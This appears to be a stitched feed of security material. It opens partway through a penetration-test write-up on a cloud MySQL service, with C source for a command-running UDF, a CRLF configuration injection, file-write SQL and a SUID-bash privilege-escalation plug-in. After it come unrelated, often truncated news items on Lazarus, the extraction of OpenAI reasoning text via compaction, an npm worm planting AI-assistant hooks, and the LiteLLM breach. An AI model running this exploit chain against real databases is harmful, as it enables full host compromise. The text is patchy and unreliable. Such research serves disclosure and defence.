INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y'); FLUSH PRIVILEGES; Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands. #include <stdlib.h> #include <string.h> #include <stdio.h> typedef unsigned long long udf_args_type; typedef struct { unsigned int arg_count; unsigned int *arg_type; char **args; unsigned long *lengths; char *maybe_null; char **attributes; unsigned long *attribute_lengths; void *extension; } UDF_ARGS; typedef struct { char maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; char const_item; void *extension; } UDF_INIT; int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { if (args->arg_count != 1) { strcpy(message, "sys_eval requires one argument"); return 1; } initid->max_length = 65535; return 0; } void sys_eval_deinit(UDF_INIT *initid) {} char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { if (!args->args[0]) { *is_null = 1; return NULL; } char cmd[65535]; snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]); FILE *pipe = popen(cmd, "r"); if (!pipe) { *is_null = 1; return NULL; } static char buf[65535]; size_t total = 0; while (total < sizeof(buf)-1) { size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe); if (n == 0) break; total += n; } pclose(pipe); buf[total] = '\0'; *length = total; return buf; } RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API: curl -s -X PATCH "https://somecloud/api/dbaas/id" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}' This vector made it possible to inject line breaks and override critical configuration parameters: default-time-zone="+00:00 secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access. plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries. With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement: SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in: CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so'; Result of executing id via MySQL UDF The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in: #include <stdlib.h> attribute((constructor)) static void init(void) { system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash"); } We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise. Conclusion The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

The North Korea-linked Lazarus Group has been attributed to a cyber espionage campaign dubbed Operation FlashHole targeting at least three organizations in South Korea spanning the construction, software, and wire-communication equipment manufacturing sectors. According to Russian cybersecurity company Kaspersky, the campaign has been active since at least July 2025. It's assessed to pick up

OpenAI's compaction feature, which shrinks a long conversation to save space, could be turned into a way to copy a model's hidden reasoning out in plain text, security firm Xint has shown. OpenAI's reasoning models work through a problem before answering, and the service normally returns only the raw reasoning as an encrypted item the user cannot read. The method got past

A new Miasma-family npm worm, originally believed to be just a test with no victims, secretly armed 42 real GitHub repositories from 11 owners, hijacking accounts as early as July and using a stealthy payload built to stay hidden from GitHub and automated scanners, according to JFrog researchers. Threat hunters at SafeDep, an open source supply chain security firm, first spotted the “testmetest” npm campaign last week, identifying 18 packages linked to the same operator between October 19 and October 25, including releases containing credential-stealing malware. As with earlier npm worms, the malware is self-replicating, steals credentials, and installs a wiper that deletes the home directory when the victim revokes the stolen GitHub token, the security researchers noted. The new npm worm shares code with June’s Miasma Phantom Gyp worm, and adds Mini Shai-Hulud’s token-revocation wiper. As of October 22, however, SafeDep had found no compromised third-party packages or victims. “All observed activity belongs to the operator’s own test accounts,” the team wrote. As with most happy-ending security stories, that proved too good to be true. In a Monday report, supply chain security company JFrog said its analysis proved otherwise, and found the testmetest campaign operator “had already armed real repositories belonging to established developers and organizations.” This isn’t just about timing, either, according to JFrog researchers Guy Korolevski and Yair Benamou. “The payload blobs were large enough to evade the GitHub search and API paths normally used to find this kind of compromise,” they wrote. How the attacks worked The attackers planted execution hooks for AI coding assistants and development tools, including Claude, Gemini, Cursor, and VS Code, alongside polymorphic wrappers measuring 12.9 to 13.7 MB that decode a hidden CI-publisher payload. Separately, the npm worm steals credentials, modifies repositories and CI configurations, and spreads through npm packages. The malware also uses a compiled native add-on to decrypt and launch a separate payload. Before executing, the loader checks for CI runners, containers, sandboxes, debuggers, and other signs of automated analysis, exiting silently when it detects them to reduce the likelihood of detection by security scanners. The researchers also found a second build that skips the encrypted file. “It forks, detaches and runs a hard-coded command that pulls a loader from a repository on the operator's own GitHub account,” they wrote. That account – CementBeetleSteeple – hosted 17 campaign repositories in total. JFrog connected this account to a shellpanel scanner, previously documented by Socket in a large-scale campaign that abused GitHub Actions in compromised repositories to exploit CVE-2026-41940 and steal server credentials. CVE-2026-41940 is an authentication bypass affecting cPanel and WHM. CISA added it to its Known Exploited Vulnerabilities catalog in April, and cPanel has since published patched versions. “C2 infrastructure were previously reported by Socket; our findings connect them to the testmetest GitHub victim cluster through artifacts and workflows on the same hijacked owners,” the JFrog researchers wrote. They added that while they found 42 armed GitHub repositories and attempted internet-wide exploitation, they did not confirm any downstream cPanel compromises.®

LiteLLM has traced last week’s supply chain attack to a master key it accidentally committed to a public GitHub repository in May. The cloud and AI model secret-stealing part of the incident began when someone uploaded a poisoned version (1.107.0) of the popular open source AI gateway to PyPI and its container registries last Wednesday. This compromised version contained an infostealer and a remote access trojan capable of executing arbitrary code on infected machines. While the trojanized package was available on PyPI for less than two hours before being quarantined, it received about 49,000 downloads during that time, according to Wiz. On Friday, LiteLLM detailed the attack chain behind the compromised release and traced it back to May 27, when a configuration file containing a master key was committed to the public LiteLLM-Labs/lite-harness repository. The key belonged to an open source tool used internally by LiteLLM to orchestrate AI agents. The project's developers quickly spotted the error and removed the exposed commit, but failed to revoke the master key. “On October 10th, the threat actor used this key to gain access to our LiteLLM Agent Platform and extracted this GitHub CLI OAuth token,” according to Friday’s postmortem. “From this point onwards, the threat actor had owner-level access to all repositories in our GitHub.” This is especially serious because GitHub CLI tokens are “post-2fa,” meaning that they don’t trigger GitHub's sudo mode authentication flows typically required to perform high-impact repository actions. The token allowed the attacker to author malicious commits into branches on other internal repos - including workflows designed to steal any tokens and secrets configured to be available during the continuous integration development process. And this allowed them to steal other GitHub CLI OAuth tokens linked to two engineers with maintainer privileges. Plus, they acquired tokens for several other internal systems, we’re told. “Reviewing the actor's activity on these other systems shows attempts to identify and exfiltrate additional keys and tokens, with a primary focus on upstream inference API tokens,” LiteLLM noted. Having now stolen several privileged identities, the miscreant could make changes to GitHub repositories without raising any suspicion because the actions and approvals all appeared to come from legitimate, credentialed engineers. In response, LiteLLM’s developers are revoking every token associated with every internal system and vendor platform. “This incident has provided a strong illustration of the risks associated with failing to rotate a potentially exposed key,” they wrote. The infostealers hidden inside the compromised package were designed to hoover up a ton of sensitive information, including browser credentials and cookies from Chrome, Firefox, Edge, and Safari, along with AWS credentials, Google Cloud Platform service account keys and application default credentials, and Microsoft Azure tokens. It also swiped API keys for OpenAI, Anthropic, Cohere, and other LLM providers. So if you installed and ran version 1.107.0, assume any credentials accessible to the affected system may have been stolen. Investigate affected systems, change passwords, and rotate exposed keys. A quick prayer to the patron saint of supply chains wouldn't hurt, either. ®

An ongoing supply chain attack is harvesting credentials and sensitive data from thousands of developer repositories.

For the latest discoveries in cyber research for the week of 26th October, please download our Threat Intelligence Bulletin. TOP ATTACKS AND BREACHES Japanese cloud hosting provider Onamae Desktop Cloud has confirmed a cyberattack in which intruders compromised its infrastructure and installed malware on customer servers. More than 26,000 servers were potentially affected. The provider began shutting down customer environments on October 21 to contain the intrusion and prevent further unauthorized activity. India’s state-run State Bank of India, serving more than 500 million customers, disclosed a data breach after 3,897 customer records appeared online. The exposed information reportedly included contact details, residential addresses, birth dates, bank profiles, loan records, and identity-verification documents. The bank reported no disruption to core services. WordPress backup developer TeamUpdraft has suffered a cyberattack after intruders accessed its website and potentially exposed customer information and management-service connection keys. Attackers subsequently abused compromised UpdraftCentral keys to install backdoors on WordPress websites during an 18-hour campaign on October 18 and 19. LiteLLM, a widely used open-source AI gateway, confirmed an October 21 supply-chain attack in which attackers used stolen developer tokens to publish malicious packages and Docker images. The compromised version 1.107.0 was designed to steal cloud credentials and AI service secrets, with attackers subsequently testing stolen AWS credentials. AI THREATS Check Point Research uncovered how AI-enabled antidetect browsers allow operators to manage thousands of deceptive accounts while evading platform safeguards. Tools including Kameleo, AdsPower, and MultiLogin facilitate account takeovers, financial fraud, and automated distribution of AI-generated content, supporting large-scale influence operations across social media platforms. Researchers observed affiliates of INC and The Gentlemen ransomware groups using AI agents to conduct human-approved cyberattacks. The operation targeted 62 organizations by exploiting remote-access systems and compromised credentials. Victims were concentrated in the manufacturing, energy, healthcare, and pharmaceutical sectors, primarily in the United States. Researchers analyzed a cybercriminal operation that used multiple AI assistants to plan and execute different types of malicious activity. The attacker relied on AI-generated scripts and reconnaissance reports to develop attack capabilities. Exposed operational records revealed how AI tools supported campaign planning, technical execution, and adaptation across different targets. VULNERABILITIES AND PATCHES Critical PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619 have been used in widespread exploitation attempts that could enable remote code execution. Attack traffic reportedly increased from thousands to millions of attempts following disclosure. As of October 23, approximately 97.5% of publicly visible PHP instances did not indicate patched versions. Check Point IPS provides protection against this threat (PHP Remote Code Execution (CVE-2026-109618, CVE-2026-109619, CVE-2026-115560(( Oracle has released its October 2026 Critical Patch Update, addressing 1,209 unique vulnerabilities through 1,295 security patches across 33 product families. The update includes 95 critical CVEs and affects widely deployed enterprise products, including Fusion Middleware, E-Business Suite, MySQL, and Java SE. GitLab has fixed CVE-2026-110264, a critical vulnerability with a CVSS score of 10.0 affecting Community and Enterprise Editions. The integer overflow flaw could allow unauthenticated attackers to execute arbitrary code remotely on affected servers. The vulnerability affects versions before 18.11.13 and several 19.x releases. A critical privilege-escalation vulnerability, CVE-2026-114625, affects on-premises Arista VeloCloud Orchestrator deployments. The flaw carries a CVSS score of 9.4 and allows authenticated users, including those with read-only access, to obtain operator-level permissions. Successful exploitation can expose restricted management functions, and the vulnerability has been exploited in attacks. THREAT INTELLIGENCE REPORTS Check Point Research has profiled Aokigahara, a newly identified infostealer targeting credentials and session data associated with AI applications, developer tools, and cloud platforms. Targeted applications include Claude, ChatGPT Desktop, Cursor, and GitHub Copilot. Stolen information may include authentication tokens, account credentials, and other sensitive application data. Researchers revealed that U.S. federal investigators suspect an executive at a ransomware negotiation company assisted the ShinyHunters extortion group in operating its victim disclosure website. The site reportedly listed nearly 100 organizations between May and October 2026. Researchers mapped Lazarus’s Operation FlashHole, a cyberespionage campaign targeting organizations in South Korea’s software, construction, and telecommunications equipment sectors. Attackers used tailored phishing messages and fraudulent portfolio websites to deliver malware. The campaign exploited trusted financial-security software to execute malicious components. Researchers have uncovered a large-scale campaign by threat actor k0t targeting Fortinet FortiGate, FortiWeb, and Palo Alto Networks GlobalProtect devices. Attackers exploited vulnerabilities and weak credentials to establish persistent access and steal information. The operation exposed more than 70,000 credentials and showed possible connections to ransomware groups. The post 26th October – Threat Intelligence Report appeared first on Check Point Research .

Microsoft released emergency .NET security updates to patch a critical vulnerability known as Broccoli2Shell, also tracked as Node2Shell and HTTP2Shell. [...]

A large-scale GitHub campaign abused stolen access tokens to target 13,500+ branches and repositories with secret-stealing workflows

This2Shell, That2Shell, Everything2Shell. That's pretty much how the last week went. Critical bugs that let attackers run code remotely are showing up everywhere. Hackers are scanning for targets, some flaws are already being used in attacks, and security teams have more urgent patches than they can keep up with. And that's not even the full story. A leaked key led to a software supply-chain